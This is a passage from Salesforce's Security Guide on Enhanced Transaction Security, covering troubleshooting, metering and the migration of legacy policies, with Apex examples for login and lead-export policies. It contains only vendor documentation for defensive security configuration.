For example, if you create a workflow for field employees that generates a report, check all report event policies that could be affected.
• If your policy is Apex-based, follow Apex testing best practices.
• Run data silo tests. These tests run faster, produce easy-to-diagnose failures, and are more reliable.

Troubleshooting
Something is wrong with my policy. Where do I start?
Use the error message that your policy creates as a starting point. Check the Apex Developer Guide for advice on the error category.
My policy shuts down before it executes.
Policies don’t execute if they take too long to perform all their actions. Streamline your policy, and make sure that it’s within the
metering limit.
I have multiple policies for the same event. What do I do?
In general, make only as many policies as you can manage and maintain. There’s no limit on the number of policies you can create,
but not all policies trigger. Policies are prioritized, and trigger in this order: block the operation, require multi-factor authentication,
no action. If you have multiple policies for the same event, not all of those policies trigger. For example, let's say you have two policies
for one event, but one policy blocks the operation and the second is set to require multi-factor authentication. The policy that blocks
the user executes first and if it triggers, the other policy doesn’t execute.

296
Salesforce Security Guide Enhanced Transaction Security

My policy isn’t working. How do I debug it?

First, disable the policy and move it to a sandbox. You don’t want a broken policy to cause problems for your colleagues or customers
while you troubleshoot. Then evaluate whether the issue is with your policy settings or the Apex code if your policy is Apex-based.
• If you think your settings are the source of the problem, evaluate the policy’s conditions and actions in your sandbox. Adjust the
policy’s settings, and test for the behaviors you want.
• If you suspect that the problem is with your Apex code, you can debug Apex using the Developer Console and debug logs.
I can’t turn off my policy, and it’s blocking my users in production. What do I do?
Check for known issues documented in Knowledge Articles or Known Issues. These resources explain issues that other customers
experienced, along with functional workarounds. If that doesn’t work, contact Salesforce.

Enhanced Transaction Security Metering

Transaction Security uses resource metering to help prevent malicious or unintentional
EDITIONS
monopolization of shared, multi-tenant platform resources. Metering prevents transaction security
policy evaluations from using too many resources and adversely affecting your Salesforce org. Available in: Salesforce
Salesforce meters transaction security policies for uniform resource use. If a policy request can’t be Classic and Lightning
handled within three seconds, a fail-close behavior occurs, and access is blocked. Transaction Experience
Security implements metering by limiting policy execution. If the elapsed execution time exceeds
Available in: Enterprise,
three seconds, the user’s request is denied. Unlimited, and Developer
Here’s an example of how metering works.. Let’s say your org has four LoginEvent policies set up Editions
with a notification action. A user triggers every policy. The first three execute within three seconds, Requires Salesforce Shield
but the final policy exceeds the three-second limit.Transaction Security stops processing the policies or Salesforce Event
and fails closed, blocking the user’s login request. Because the policy evaluations didn’t finish, a Monitoring add-on
notification isn’t sent. subscriptions.

Test and Troubleshoot Your New Enhanced Policy

If your enhanced transaction security policy is not behaving as you expect, check out these testing
EDITIONS
and troubleshooting tips for diagnosing the problem.
Available in: Salesforce
Test in a Sandbox Classic and Lightning
Experience
Always test a new policy in a sandbox before deploying it to production. While in your sandbox,
create and enable the policy, and then try different actions to test whether it’s executing as you Available in: Enterprise,
expect. Unlimited, and Developer
Editions
For example, if you want your ReportEvent policy to block all report exports on leads, try different
report operations to ensure that they’re being blocked. For example: Requires Salesforce Shield
or Salesforce Event
• Run standard reports on leads Monitoring add-on
• Create a custom report type on leads, and run reports that use that type subscriptions.
• Execute report REST API queries on leads

Check Your Policy Conditions

If your policy is not working as you expect, it’s possible that you added the wrong conditions. Event Manager is a great tool to troubleshoot
policy conditions. When you enable storage or streaming for your event from the Event Manager UI, you can examine the field values
for real events in your org. You can then compare these actual values with the values you expect and see if they match.

297
Salesforce Security Guide Enhanced Transaction Security

For example, let’s say you create a ReportEvent policy with the condition "QueriedEntities equals Lead." You then run a custom report
type in your org that contains Lead objects. You expect the policy to trigger, but it doesn’t. Try these steps to find the problem.
1. Enable storage for ReportEvent in Event Manager to view a history of the ReportEvents in your org.
2. Run your custom report type again so that a ReportEvent entry is stored.
3. From an API client, such as Workbench, query your ReportEvent event objects and find the entry that corresponds to this recent run
of the custom report type.
4. Check the value of the QueriedEntities field. Is it what you expect? If it isn’t, change your condition. For example, if your
custom report type is on more than just leads, the value of QueriedEntities is something like Lead, Campaign,
MyCustomObject__c. In this case, change your policy condition to be "QueriedEntities contains Lead."

Add Automated Apex Tests

Automated Apex tests are a good way to find typos, logical flaws, and regressions in the Apex code for your new enhanced policy. In
general, it’s a best practice to write automated tests early in the development cycle. Testing ensures that you fix malfunctioning policies
before they negatively affect your production users.
For example, the Lead Data Export Apex class contains a typo so that the condition tests for Laed instead of Lead. When you execute
this Apex test, it fails, so you know that something is wrong.
/**
* Tests for the LeadExportEventCondition class, to make sure that our Transaction Security
Apex
* logic handles events and event field values as expected.
**/
@isTest
public class LeadExportEventConditionTest {

/**
* Test Case 1: If an ApiEvent has Lead as a queried entity and more than 2000 rows

* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testApiEventPositiveTestCase() {
// set up our event and its field values
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;

// test that the Apex returns true for this event

LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assert(eventCondition.evaluate(testEvent));
}

Add Apex Debug Logs

After creating and running Apex tests, you now know there’s a problem in your Apex code, but you don’t know what it is. Apex debug
logs help you gain visibility into what your Apex class is doing so that you can fix the issue.

298
Salesforce Security Guide Enhanced Transaction Security

Let’s update the Apex code for the enhanced Lead Data Export policy that currently has the unfortunate Laed typo with some
System.debug() statements.

global class LeadExportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{
when ApiEvent apiEvent {
System.debug('Evaluating an ApiEvent');
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {
System.debug('Evaluating a ReportEvent');
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when null {
System.debug('Evaluating null');
return false;
}
when else {
System.debug('Evaluating another event type: ' + event);
return false;
}
}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){

// pulling out our 2 conditions into variables
// so that we can also use them for logging!
boolean containsLead = queriedEntities.contains('Laed');
boolean moreThan2000 = rowsProcessed > 2000;

System.debug('Contains Lead? ' + containsLead);

System.debug('More than 2000 rows? ' + moreThan2000);

if (containsLead && moreThan2000){

return true;
}
return false;
}
}

Rerun the Apex test from the Developer Console, and view the debug logs that your Apex code generated. This example shows that
the QueriedEntities field of the recent event doesn’t contain a Lead. The highlighted debug log pinpoints the condition that
didn’t evaluate correctly. Now it’s easy to examine your Apex code and find the typo.

If you want to see the debug output when a policy runs in a production environment, add a User Trace flag for the Automated User. The
Automated User executes transaction security policies.

299
Salesforce Security Guide Enhanced Transaction Security

SEE ALSO:
Manage Real-Time Event Monitoring Events
Execute Apex Tests
Apex Developer Guide: Debug Log
View Debug Logs
Set Up Debug Logging

300
Salesforce Security Guide Enhanced Transaction Security

Migrate Legacy Policies to the Enhanced Transaction Security Framework

The enhanced transaction security framework makes it easy to create policies that are more useful
EDITIONS
than policies created with of the legacy framework. You can migrate your legacy policies to the
new framework. As of Summer ’20, Legacy Transaction Security is a retired feature in all Salesforce Available in: Salesforce
orgs. You can no longer create, edit, or enable transaction security policies using the legacy Classic and Lightning
framework and will receive an error message if you try to do so. Experience
Let's first review ways that the enhanced transaction security framework improves your experience
Available in: Enterprise,
of creating a policy and how the policies are so much better. Unlimited, and Developer
• With the enhanced transaction security framework, you can create policies that execute actions Editions
on any standard or custom object. In the legacy framework, you’re limited to a few standard Requires Salesforce Shield
objects. For example, the legacy Data Export policy type supports actions only on standard or Salesforce Event
report types. Enhanced policies based on ReportEvent support all standard and custom report Monitoring add-on
types. (However, this benefit has the consequence that enhanced policies execute more often subscriptions.
than legacy ones.See Differences Between the Legacy and Enhanced Apex Interfaces on page
309).
• Enhanced policies are based on publicly documented Salesforce objects. As a result, you can quickly view the available conditions
by scanning the event object’s fields in the API documentation, such as for ApiEvent.
• The enhanced framework includes Condition Builder, a declarative point-and-click tool that requires no Apex coding. If you prefer
to code, or need more complex logic, the enhanced Apex interface is more intuitive and easy to use than the legacy one.
Legacy policies are incompatible with the enhanced transaction security framework. And because the legacy framework is being retired,
we encourage you to migrate your policies as soon as possible.
Follow these high-level steps to migrate your policy.
1. Choose the Real-Time Event Monitoring event for your enhanced policy.
2. Choose the fields of the event object that you use as policy conditions.
3. Decide whether to use Condition Builder or Apex to create your enhanced policy.
4. If you’re using Apex, read how the legacy interface differs from the enhanced interface.
5. Create your enhanced policy, but don't enable it yet.
6. Test your enhanced policy.
7. When your enhanced policy is ready, disable the legacy policy and enable the enhanced policy. You can’t enable two policies on
the same event at the same time.
8. If your enhanced policy isn’t working as you expect, troubleshoot the issues.
This guide uses the Lead Data Export policy as the running example. This example is a legacy policy that was provided for all customers
in the Salesforce UI in orgs created before the Spring '20 release. Orgs created after the Spring ‘20 release no longer include these policies.
Check out the Follow Along with the Lead Data Export Example sections, which highlight parts of the example to explain the accompanying
conceptual information.

Support Differences Between the Legacy and Enhanced Transaction Security Frameworks
Some features of the legacy framework aren’t supported in the enhanced framework.
• With the legacy framework, you can define an end-session action on a policy. This action isn’t available in the enhanced framework.
Instead, use a login flow to restrict the number of simultaneous Salesforce sessions per user.
• Legacy policies support Chatter actions, such as posts, messages, and comments. These actions aren’t available in the enhanced
framework. Check out the Experience Cloud site moderation rule feature to see whether it covers your use case.

301
Salesforce Security Guide Enhanced Transaction Security

IN THIS SECTION:
Choose an Event for the Enhanced Policy
The enhanced transaction security framework supports different events than the legacy framework.
Choose Event Fields for the Enhanced Policy Conditions
You map the legacy event properties to event object fields in the enhanced transaction security framework.
Create a Policy with a UI or with Apex Code
In the legacy framework, the only way to create a policy was to code an Apex class. In the enhanced framework, you have two
options: use Condition Builder, a point-and-click tool, or Apex. Here are some guidelines to help you decide which option is best for
you.
Differences Between the Legacy and Enhanced Apex Interfaces
In a legacy transaction security policy, your Apex class implements the TxnSecurity.PolicyCondition interface. In the
enhanced framework, your Apex class implements the TxnSecurity.EventCondition interface.
Policy Migration Examples
Use these Condition Builder and Apex examples to help you migrate your legacy policies to the enhanced framework. Migrating
involves creating a new enhanced policy that mimics the behavior of your legacy policy.

SEE ALSO:
Salesforce Security Guide: Limit the Number of Concurrent Sessions with Login Flows
Experience Cloud Site Moderation Rules

Choose an Event for the Enhanced Policy

The enhanced transaction security framework supports different events than the legacy framework.
EDITIONS
When you create a legacy policy, you first choose an event type and then a resource based on that
event. The legacy event types are: Available in: Salesforce
Classic and Lightning
• Data Export—Monitors both API queries and report exports.
Experience
• Resource Access—Monitors when a report or dashboard is viewed.
Available in: Enterprise,
• Login—Monitors logins from the UI or API.
Unlimited, and Developer
• Entity—Monitors Chatter activity. Editions
The enhanced framework is simpler because you choose just one event and no resource. The events Requires Salesforce Shield
you can use in an enhanced transaction security policy are a subset of the Real-Time Event Monitoring or Salesforce Event
event objects. Monitoring add-on
These legacy event types have equivalent events in the enhanced framework. subscriptions.

Table 6: Mapping of Legacy Event Type to Real-Time Event Monitoring Events

If you used this event type in your legacy policy... Use this event in the new enhanced policy.
Data Export (for monitoring API queries) ApiEvent

Data Export (for monitoring report exports) ReportEvent

Resource Access ReportEvent

Login LoginEvent

Entity No equivalent.

302
Salesforce Security Guide Enhanced Transaction Security

Warning: In the legacy framework, report operations are split between two event types: Data Export monitors report exports,
and Resource Access monitors report views. In the enhanced framework, ReportEvent monitors both report exports and report
views. As a result, enhanced policies that you create on ReportEvent execute during both report exports and report views. If you
want to monitor only one type of report operation, such as report exports, add a condition on the ReportEvent.Operation
field.

Follow Along with the Lead Data Export Example

Let’s look at the legacy Lead Data Export policy example and choose an event for the new enhanced policy.
The legacy Lead Data Export policy blocks excessive downloads of lead data and is based on the Data Export event type. Data Export
maps to either ApiEvent or ReportEvent, depending on whether you’re monitoring API queries or report exports.
• To block excessive lead data downloads from API queries, create an enhanced policy on ApiEvent.
• To block the downloads from report exports, create an enhanced policy on ReportEvent.
• To block the downloads from both API queries and report exports, create two enhanced policies, one on ApiEvent and one on
ReportEvent.
This migration example focuses on the last option and creates two policies, one based on ApiEvent, and the other based on ReportEvent.

SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects

Choose Event Fields for the Enhanced Policy Conditions

You map the legacy event properties to event object fields in the enhanced transaction security
EDITIONS
framework.
In the Apex class that implements your legacy policy, you use properties of the Available in: Salesforce
TxnSecurity.Event class to select items of interest from the event that you’re monitoring. Classic and Lightning
You then test these items to determine whether a condition has been met. For example, to create Experience
a policy that triggers when a specific user logs in, you use the Event.userId property. Available in: Enterprise,
In an enhanced policy, you use the fields of the appropriate event objects, such as Unlimited, and Developer
ApiEvent.QueriedEntities or ReportEvent.RowsProcessed, in the conditions. Editions
This table maps the TxnSecurity.Event class properties to their equivalent fields of the Requires Salesforce Shield
Real-Time Event Monitoring event objects that support transaction security policies. or Salesforce Event
Monitoring add-on
Table 7: Mapping of Legacy Event Property to Real-Time Event Monitoring Event Field subscriptions.
Legacy Event Class Equivalent Event Object Notes
Property Field in the Enhanced
Framework
organizationId No equivalent The org ID is the ID of the org
in which the enhanced policy
is running. Use the Apex
UserInfo.getOrganizationId()
method to get the org ID.

userId UserId This field is available on all

Real-Time Event Monitoring

303
Salesforce Security Guide Enhanced Transaction Security

Legacy Event Class Property Equivalent Event Object Field in the Notes
Enhanced Framework
event objects that support transaction
security policies.

entityName No equivalent This information isn’t needed in enhanced

policies.

action No equivalent This property is used only with the legacy

Login IP event type, which has been retired.

resourceType No equivalent The concept of resources doesn’t exist with

events in the enhanced framework.
You can still mimic legacy behavior that
referenced resources. For example, your
legacy policy is based on the Data Export
event type and Opportunity resource. You
want to monitor API queries only, so you
base your enhanced policy on ApiEvent. To
monitor opportunities, you add this
condition to your policy:
"ApiEvent.QueriedEntities contains
Opportunity." Be careful, though: Because
an enhanced policy executes on all report
operations and API queries, the policy
executes more in the enhanced framework
than a similar policy in the legacy
framework.

entityId • ReportEvent.ReportID (if your

legacy policy is based on a Resource
Access event type)
• ApiEvent.Records or
ReportEvent.Records (if your
legacy policy is based on a Data Export
event type).
• No equivalent for the legacy Login
event type

timeStamp EventDate This field is available on all Real-Time Event

Monitoring event objects that support
transaction security policies.

data This legacy property is a Map<>. Its content

differs depending on the event type that
the policy is based on (Resource Access,
Data Export, or Login). See the next sections
for tables that map the data keys of each

304
Salesforce Security Guide Enhanced Transaction Security

Legacy Event Class Property Equivalent Event Object Field in the Notes
Enhanced Framework
legacy event type to their equivalent event
object fields in the enhanced framework.

Mapping Legacy Data Export Data Keys

When you migrate a legacy policy based on the Data Export event type to the enhanced framework, you choose either the ReportEvent
or ApiEvent event.

Table 8: Mapping of Legacy Data Export Data Key to ReportEvent or ApiEvent Field
Legacy Data Key Name Equivalent ReportEvent Equivalent ApiEvent Field Notes
Field
ApiType No equivalent ApiType

Application No equivalent Application

Browser No equivalent No equivalent To limit the browsers that your

customers use, create a
LoginEvent enhanced policy to
block them right away.

ClientId No equivalent Client

ConnectedAppId No equivalent ConnectedAppId

EntityName QueriedEntities QueriedEntities In the enhanced framework, the

QueriedEntities field
contains a comma-separated list
of all entities that the policy
executes on. In the legacy
framework, this property
contains only one entity name.

ExecutionTime No equivalent ElapsedTime

IsApi Operation No equivalent The Operation field contains

the type of report operation that
occurred. Use these values to
limit the operations that you
want to monitor, such as by UI
(Salesforce Classic, Lightning
Experience, or mobile), API
(synchronous, asynchronous,
REST), or dashboard.

isScheduled isScheduled No equivalent

LoginHistoryId LoginHistoryId LoginHistoryId

NumberOfRecords RowsProcessed RowsProcessed

305
Salesforce Security Guide Enhanced Transaction Security

Legacy Data Key Name Equivalent ReportEvent Equivalent ApiEvent Field Notes
Field
Platform No equivalent Platform

Query No equivalent Query

SessionLevel SessionLevel SessionLevel

SourceIp SourceIp SourceIp

Uri No equivalent No equivalent

UserAgent No equivalent UserAgent

Username Username Username

Mapping Legacy Resource Access Data Keys

When you migrate a legacy policy based on the Resource Access event type, you use the ReportEvent event.

Table 9: Mapping of Legacy Resource Access Data Keys to ReportEvent Fields

Legacy Data Key Name Equivalent ReportEvent Field
EntityId ReportId

ResourceName No equivalent

SessionLevel SessionLevel

SourceIp SourceIp

Username Username

Mapping Legacy Login Data Keys

When you migrate a legacy policy based on the Login event type, you use the LoginEvent event. All fields in LoginHistoryID and LoginGeoId
are now present in LoginEvent, with the exception of the legacy fields OptionIsGet and OptionIsPost, which map to LoginEvent.HttpMethod.
Remove any queries for LoginHistoryId and LoginGeoId as they are no longer available during policy execution. Instead, use fields directly
from LoginEvent.
Here’s the Apex code for a legacy policy that queries LoginHistoryId.
global class SourceIpPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
String loginHistoryId = e.data.get('LoginHistoryId');
LoginHistory loginHistory = [SELECT SourceIp FROM LoginHistory WHERE Id =
:loginHistoryId];
if (loginHistory.SourceIp.equals('1.1.1.1')) {
return true;
}
return false;
}
}

306
Salesforce Security Guide Enhanced Transaction Security

Here’s the Apex code for an enhanced policy that uses fields directly from LoginEvent.
global class SourceIpEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
LoginEvent loginEvent = (LoginEvent) event;
if (loginEvent.SourceIp.equals('1.1.1.1')) {
return true;
}
return false;
}
}

Table 10: Mapping of Legacy Login Data Keys to LoginEvent Fields

Legacy Data Key Name Equivalent LoginEvent Field
LoginHistoryId LoginHistoryId

Username Username

Follow Along with the Lead Data Export Example

Continuing with the two enhanced policies, we’re creating one based on ApiEvent, and the other based on ReportEvent.
Let's next determine the event properties used in the legacy Lead Data Export policy example and their equivalent fields in the two new
enhanced policies.
The legacy policy triggers when a user’s download either:
• Retrieves more than 2,000 lead records
• Takes more than one second to complete
Here's the Apex code for the legacy policy. It uses the legacy event’s data Map<> for all its conditions.
global class DataLoaderLeadExportCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// The event data is a Map<String, String>.
// We need to call the valueOf() method on appropriate data types to use them in our
logic.
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
Long executionTimeMillis = Long.valueOf(e.data.get('ExecutionTime'));
String entityName = e.data.get('EntityName');

// Trigger the policy only for an export on leads, where we are downloading
// more than 2000 records or it took more than 1 second (1000ms).
if ('Lead'.equals(entityName)){
if (numberOfRecords > 2000 || executionTimeMillis > 1000){
return true;
}
}

// For everything else don't trigger the policy.

return false;
}
}

This table lists the equivalent fields in the enhanced policies that you use for adding conditions.

307
Salesforce Security Guide Enhanced Transaction Security

Legacy Data Key Name Equivalent ReportEvent Field Equivalent ApiEvent Field
EntityName QueriedEntities QueriedEntities

ExecutionTime No equivalent ElapsedTime

NumberOfRecords RowsProcessed RowsProcessed

Because the enhanced framework doesn’t monitor report execution times, you can’t add a condition for that value in your enhanced
ReportEvent policy.
ReportEvent monitors both export and view operations. As a result, a policy based on ReportEvent executes whenever a user exports a
report and also views a report. The legacy Data Export event type monitors only report exports. You can limit what a ReportEvent policy
monitors by adding a condition on the ReportEvent.Operation field.

SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects
Apex Developer Guide: TxnSecurity.Event Class
Apex Developer Guide: UserInfo Class

Create a Policy with a UI or with Apex Code

In the legacy framework, the only way to create a policy was to code an Apex class. In the enhanced
EDITIONS
framework, you have two options: use Condition Builder, a point-and-click tool, or Apex. Here are
some guidelines to help you decide which option is best for you. Available in: Salesforce
Let’s say that your legacy policy’s Apex class references event properties that are directly available Classic and Lightning
as fields in the Real-Time Event Monitoring event objects. Also, the fields are available in the Condition Experience
Builder UI. Good news, you can use Condition Builder to create your enhanced policy! Examples of
Available in: Enterprise,
these fields include the source IP when a user logs in (LoginEvent.SourceIP) and the Unlimited, and Developer
number of rows returned from a report execution (ReportEvent.RowsProcessed). Editions
If your legacy policy’s Apex code references event properties that are not directly available in the Requires Salesforce Shield
Real-Time Event Monitoring event objects, continue to use Apex and SOQL queries. An example is or Salesforce Event
a policy that checks whether the records returned by an API query or report export have fields that Monitoring add-on
are Data Classified. In your enhanced policy’s Apex class, implement the subscriptions.
TxnSecurity.EventCondition interface instead of the legacy
TxnSecurity.PolicyCondition.

Follow Along with the Lead Data Export Example

The fields we chose for our two new enhanced ReportEvent and ApiEvent policies are available in the event objects and don’t require
SOQL queries to get more data. These fields are also available in the Condition Builder UI. As a result, Condition Builder, the easiest way

308
Salesforce Security Guide Enhanced Transaction Security

to create an enhance policy, is a good choice for our example. But if you prefer to use Apex, we also provide the code in the examples
section.

SEE ALSO:
Conditions Exposed in the Condition Builder UI
Apex Developer Guide: TxnSecurity.EventCondition Interface
Apex Developer Guide: TxnSecurity.PolicyCondition Interface

Differences Between the Legacy and Enhanced Apex Interfaces

In a legacy transaction security policy, your Apex class implements the
EDITIONS
TxnSecurity.PolicyCondition interface. In the enhanced framework, your Apex class
implements the TxnSecurity.EventCondition interface. Available in: Salesforce
Both interfaces define a single method: evaluate(event). This method functions the same Classic and Lightning
way in both interfaces by evaluating an event to determine whether to trigger the transaction Experience
security policy. For both implementations, you code the evaluate() method to return true Available in: Enterprise,
if the policy is triggered, and false if not. That’s about it for the similarities, now let’s look at the Unlimited, and Developer
differences. Editions
The data type of the event parameter of EventCondition.evaluate(event) is an Requires Salesforce Shield
sObject, which is the standard Salesforce API object that developers know. Using an sObject gives or Salesforce Event
you more flexibility when you code the Apex class. To use the sObject, first cast it to one of the Monitoring add-on
event objects that support transaction security policies, such as ApiEvent or ReportEvent. Be careful, subscriptions.
though: If you cast the sObject to the incorrect event object, the policy fails to evaluate. For example,
if your policy is based on ApiEvent, but you cast the sObject to a ReportEvent, the policy fails to
execute at run time.
With enhanced policies, you use the event object’s fields to add conditions for evaluating the event. Because event objects are publicly
documented, it’s easy to find the field that your condition requires by scanning the API documentation. For example, ApiEvent monitors
a user’s API calls. Its field QueriedEntities contains the specific objects that the user queried, such as Account, Lead, or even a
custom object. Using this field makes it easy and natural to write the Apex code to determine whether, for example, a user queried the
Account object.
apiEvent.QueriedEntities.contains('Account'))

Did you notice that the previous code snippet uses contains? If the API event queries multiple objects, the QueriedEntities
field contains a comma-separated list of the object names, so using equals could miss some events. This behavior applies to any
Real-Time Event Monitoring event object that has the QueriedEntities field.
The previous example shows another benefit of the TxnSecurity.EventCondition interface: You can track user activity on
any Salesforce object, not just the five objects supported in the legacy framework (Lead, Contact, Opportunity, Account, and Contact).
But this feature has an important consequence. Enhanced policies execute more often than legacy ones. This behavior results from
Salesforce evaluating all enhanced policies on all report operations and API queries.
Let’s briefly go over how the legacy interface works to highlight the benefits of the enhanced interface. In the legacy framework , the
data type of the event parameter of PolicyCondition.evaluate(event) is TxnSecurity.Event, a specialized
class that contains information about the event using properties. All the property values are Strings, even if the value is numerical or
Boolean. Much of the event information is contained in the data property, which is a Map<String,String> type populated
with name-value pairs at run time. The run-time contents of this Map depends on the type of event that is being evaluated. As a result,
the content isn’t standard, and you don’t know its structure when you code the class. For all these reasons, the Apex code to get the
event data tends to be messy and convoluted.

309
Salesforce Security Guide Enhanced Transaction Security

The TxnSecurity.EventCondition interface offers a few more benefits.

• Because the evaluate method takes a generic sObject parameter that you then cast to an event object, you can program a single
Apex class to handle multiple events.
• It’s easy to make an asynchronous Apex call in the class that implements a legacy policy by also implementing the
TxnSecurity.AsyncCondition interface.
• You can use auto-complete in the Developer Console when writing an implementation of EventCondition. With
PolicyCondition, because most of the useful data is in the data Map<> property and populated at run time, auto-complete
doesn’t work.

• The Real-Time Event Monitoring event objects data model is consistent. As a result, you can write more generic Apex that applies
to multiple event types. For example, let’s say Salesforce adds an event type, and you want to include it in your existing security
policy. In the enhanced framework, you likely need to add only a few extra lines to your Apex code. In the legacy framework, you
have to write a new Apex class.

SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects
Apex Developer Guide: TxnSecurity.EventCondition Interface
Apex Developer Guide: TxnSecurity.PolicyCondition Interface
Apex Developer Guide: TxnSecurity.Event Class

Policy Migration Examples

Use these Condition Builder and Apex examples to help you migrate your legacy policies to the
EDITIONS
enhanced framework. Migrating involves creating a new enhanced policy that mimics the behavior
of your legacy policy. Available in: Salesforce
Note: Before we dive into the Lead Data Export example that we’ve been using, let’s start Classic and Lightning
Experience
with a simpler example to showcase the basic concepts.
Available in: Enterprise,
IN THIS SECTION: Unlimited, and Developer
Editions
Simple Policy Migration Example
Requires Salesforce Shield
Learn the basics of policy migration with this simple example.
or Salesforce Event
Lead Data Export Policy Migration Example Monitoring add-on
Learn how to create two enhanced policies that mimic the behavior of the legacy Lead Data subscriptions.
Export policy, the running example in this guide. Also learn how to expand on the example
with features of the enhanced transaction security framework.
Advanced Policy Migration Example
This example shows how to migrate a more complex policy.

310
Salesforce Security Guide Enhanced Transaction Security

Simple Policy Migration Example

Learn the basics of policy migration with this simple example.
EDITIONS
Let’s start with the Apex code for a legacy transaction security policy that triggers when a user logs
in with a specific IP address. Available in: Salesforce
Classic and Lightning
Experience

Available in: Enterprise,

Unlimited, and Developer
Editions
Requires Salesforce Shield
or Salesforce Event
Monitoring add-on
subscriptions.

global class SourceIpPolicyCondition implements TxnSecurity.PolicyCondition {

public boolean evaluate(TxnSecurity.Event e) {
String loginHistoryId = e.data.get('LoginHistoryId');
LoginHistory loginHistory = [SELECT SourceIp FROM LoginHistory WHERE Id =
:loginHistoryId];
if (loginHistory.SourceIp.equals('1.1.1.1')) {
return true;
}
return false;
}
}

To mimic the legacy behavior in the new enhanced policy, we start by choosing LoginEvent, the event object that monitors logins. The
legacy policy gets the user’s source IP by executing a SOQL query that selects the SourceIP field from the LoginHistory object. We
could code a similar query in the enhanced policy, but let’s do something better: Directly use the SourceIP field of LoginEvent. More
good news: You can use Condition Builder.
On the Condition Builder page where you specify the conditions, for Event, select Login Event. Then add a condition where Source IP
equals 1.1.1.1. The Condition Builder page to specify actions and enable the policy is the same as the legacy UI.

Tip: Test your new enhanced policy before you enable it. When you’re ready to enable your new policy, disable existing policies
on the same event type.

311
Salesforce Security Guide Enhanced Transaction Security

If you prefer to use Apex, here’s the code for the enhanced policy.
global class SourceIpEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {
LoginEvent loginEvent = (LoginEvent) event;
if (loginEvent.SourceIp.equals('1.1.1.1')) {
return true;
}
return false;
}
}

In the Apex class, you implement the TxnSecurity.EventCondition interface. The evaluate() method takes a generic
sObject parameter, but we guarantee it’s always one of the Real-Time Event Monitoring event objects. Cast the sObject to the appropriate
event object, in this case, LoginEvent. Then use its SourceIp field to determine the IP address of the user logging in. The rest of the
code is similar to the legacy policy code.

SEE ALSO:
Build a Transaction Security Policy with Condition Builder
Apex Developer Guide: TxnSecurity.EventCondition Interface
Apex Developer Guide: TxnSecurity.PolicyCondition Interface
Apex Developer Guide: Classes and Casting

312
Salesforce Security Guide Enhanced Transaction Security

Lead Data Export Policy Migration Example

Learn how to create two enhanced policies that mimic the behavior of the legacy Lead Data Export
EDITIONS
policy, the running example in this guide. Also learn how to expand on the example with features
of the enhanced transaction security framework. Available in: Salesforce
Here’s a summary of what we’ve decided so far. Classic and Lightning
Experience
• Create two enhanced policies, one based on ReportEvent and the other on ApiEvent.
• Add conditions to the ReportEvent policy using the QueriedEntities and Available in: Enterprise,
RowsProcessed fields. Unlimited, and Developer
Editions
• Add conditions to the ApiEvent policy using the QueriedEntities, ElapsedTime,
and RowsProcessed fields. Requires Salesforce Shield
or Salesforce Event
• Use Condition Builder to create the policy, along with showing the Apex code. Monitoring add-on
This is the Apex code for the legacy policy that we’re migrating. subscriptions.

global class DataLoaderLeadExportCondition implements TxnSecurity.PolicyCondition {

public boolean evaluate(TxnSecurity.Event e) {
// The event data is a Map<String, String>.
// We need to call the valueOf() method on appropriate data types to use them in our
logic.
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
Long executionTimeMillis = Long.valueOf(e.data.get('ExecutionTime'));
String entityName = e.data.get('EntityName');

// Trigger the policy only for an export on leads, where we are downloading
// more than 2000 records or it took more than 1 second (1000ms).
if ('Lead'.equals(entityName)){
if (numberOfRecords > 2000 || executionTimeMillis > 1000){
return true;
}
}

// For everything else don't trigger the policy.

return false;
}
}

Start with creating the ReportEvent policy with Condition Builder. On the page where you specify the conditions, for Event, select Report
Event. Then add these two conditions:
• QueriedEntities Equals Lead
• RowsProcessed Greater than 2000

313
Salesforce Security Guide Enhanced Transaction Security

On the actions page, specify the same actions as in your legacy policy.
The steps to create the ApiEvent policy are similar, except we use condition logic. Remember that the legacy policy monitors lead exports
when either the rows processed are greater than 2,000 or the elapsed time is greater than 1,000. Here's how to implement this logic in
Condition Builder.

314
Salesforce Security Guide Enhanced Transaction Security

You’re done!
And here’s the Apex code for the ApiEvent enhanced policy.
global class LeadExportApiEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {

ApiEvent apiEvent = (ApiEvent) event;

Decimal rowsProcessed = apiEvent.RowsProcessed;

Decimal elapsedTime = apiEvent.ElapsedTime;
String queriedEntities = apiEvent.QueriedEntities;

if ('Lead'.equals(queriedEntities)){
if (rowsProcessed > 2000 || elapsedTime > 1000) {
return true;
}
}
return false;
}
}

The preceding example shows how elegant and natural the Apex code for enhanced policies is. For example, here’s the legacy way to
get the number of rows processed.
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));

315
Salesforce Security Guide Enhanced Transaction Security

Here’s the enhanced policy code in which you can get the required values directly from the event object without typecasting the field
values.
Decimal rowsProcessed = apiEvent.RowsProcessed;

Much better and easier to read! For completeness, here’s the Apex code for the ReportEvent policy.
global class LeadExportReportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {

ReportEvent reportEvent = (ReportEvent) event;

Decimal rowsProcessed = reportEvent.RowsProcessed;

String queriedEntities = reportEvent.QueriedEntities;

if ('Lead'.equals(queriedEntities)) {
if (rowsProcessed > 2000) {
return true;
}
}
return false;
}
}

Consolidate Apex Classes Example

Did you notice that the previous two Apex classes for the new Lead Data Export enhanced policies are similar? The main difference is
